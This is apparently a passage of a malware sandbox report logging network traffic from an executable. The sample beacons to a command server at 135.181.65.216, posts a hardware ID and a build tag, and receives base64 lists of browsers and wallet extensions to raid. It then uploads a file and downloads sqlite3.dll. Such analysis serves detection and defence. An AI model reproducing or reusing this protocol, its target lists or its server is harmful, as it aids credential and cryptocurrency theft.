Dec 24, 2024 22:27:23.673634052 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:23.679757118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:23.799283981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:24.931884050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:24.932059050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:25.591836929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:28:04.541800022 CET	49724	80	192.168.2.4	199.232.214.172
Dec 24, 2024 22:28:04.661859989 CET	80	49724	199.232.214.172	192.168.2.4
Dec 24, 2024 22:28:04.661930084 CET	49724	80	192.168.2.4	199.232.214.172

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 22:27:02.504946947 CET	53	50271	1.1.1.1	192.168.2.4
Dec 24, 2024 22:27:02.780415058 CET	60256	53	192.168.2.4	1.1.1.1
Dec 24, 2024 22:27:02.780566931 CET	56657	53	192.168.2.4	1.1.1.1
Dec 24, 2024 22:27:02.858823061 CET	53	65081	1.1.1.1	192.168.2.4
Dec 24, 2024 22:27:02.918863058 CET	53	56657	1.1.1.1	192.168.2.4
Dec 24, 2024 22:27:02.920022964 CET	53	60256	1.1.1.1	192.168.2.4
Dec 24, 2024 22:27:05.627343893 CET	53	59786	1.1.1.1	192.168.2.4
Dec 24, 2024 22:27:06.382671118 CET	53	57052	1.1.1.1	192.168.2.4
Dec 24, 2024 22:27:16.094963074 CET	138	138	192.168.2.4	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 22:27:02.780415058 CET	192.168.2.4	1.1.1.1	0x9dde	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 22:27:02.780566931 CET	192.168.2.4	1.1.1.1	0x49e3	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 22:27:02.918863058 CET	1.1.1.1	192.168.2.4	0x49e3	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 24, 2024 22:27:02.920022964 CET	1.1.1.1	192.168.2.4	0x9dde	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

135.181.65.216

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	135.181.65.216	80	7548	C:\Users\user\Desktop\glpEv3POe7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 22:26:54.531445980 CET	89	OUT	GET / HTTP/1.1 Host: 135.181.65.216 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 22:26:55.832496881 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:26:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:26:55.836340904 CET	416	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 135.181.65.216 Content-Length: 215 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 33 44 34 34 37 43 37 30 30 33 32 30 34 39 37 30 30 37 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 76 61 6c 65 6e 63 69 67 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="hwid"3E3D447C7003204970075------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="build"valenciga------HDHCFIJEGCAKJJKEHJJE--
Dec 24, 2024 22:26:56.270133018 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:26:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 51 33 4f 47 56 6d 4f 57 45 78 5a 6d 5a 6a 5a 44 51 78 4e 7a 68 6c 4f 44 67 35 59 7a 41 32 4e 47 56 6c 4e 6d 59 34 4f 57 49 30 4d 7a 41 35 5a 6d 55 77 4d 44 67 30 4d 32 5a 68 4e 47 4d 77 4d 32 4a 6b 4e 47 49 79 59 7a 59 30 59 6a 46 6b 59 57 59 35 5a 6d 59 33 4d 57 46 69 4f 57 55 34 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzQ3OGVmOWExZmZjZDQxNzhlODg5YzA2NGVlNmY4OWI0MzA5ZmUwMDg0M2ZhNGMwM2JkNGIyYzY0YjFkYWY5ZmY3MWFiOWU4fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 24, 2024 22:26:56.282708883 CET	469	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 135.181.65.216 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="message"browsers------IJKKKFCFHCFIECBGDHID--
Dec 24, 2024 22:26:56.710556030 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:26:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 24, 2024 22:26:56.710621119 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Dec 24, 2024 22:26:56.712037086 CET	468	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCB Host: 135.181.65.216 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="message"plugins------CBFCBKKFBAEHJKEBKFCB--
Dec 24, 2024 22:26:57.136485100 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:26:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 24, 2024 22:26:57.136544943 CET	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Dec 24, 2024 22:26:57.136578083 CET	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Dec 24, 2024 22:26:57.136703968 CET	1236	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamt
Dec 24, 2024 22:26:57.136739016 CET	1236	IN	Data Raw: 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 Data Ascii: fDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J
Dec 24, 2024 22:26:57.136775970 CET	1236	IN	Data Raw: 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 Data Ascii: b2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1
Dec 24, 2024 22:26:57.144846916 CET	940	IN	Data Raw: 59 57 78 73 5a 58 52 38 59 32 35 75 59 32 31 6b 61 47 70 68 59 33 42 72 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 Data Ascii: YWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2N
Dec 24, 2024 22:26:57.146174908 CET	469	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJ Host: 135.181.65.216 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="message"fplugins------EGCFHDAKECFIDGDGDBKJ--
Dec 24, 2024 22:26:57.571439981 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:26:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 24, 2024 22:26:57.592216969 CET	202	OUT	POST /ee45b7c5e4cb75cb.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBG Host: 135.181.65.216 Content-Length: 7139 Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 22:26:57.592291117 CET	7139	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 24, 2024 22:26:58.141735077 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:26:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 24, 2024 22:26:58.353110075 CET	93	OUT	GET /4a21a126be249f0d/sqlite3.dll HTTP/1.1 Host: 135.181.65.216 Cache-Control: no-cache
Dec 24, 2024 22:26:58.774658918 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 21:26:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 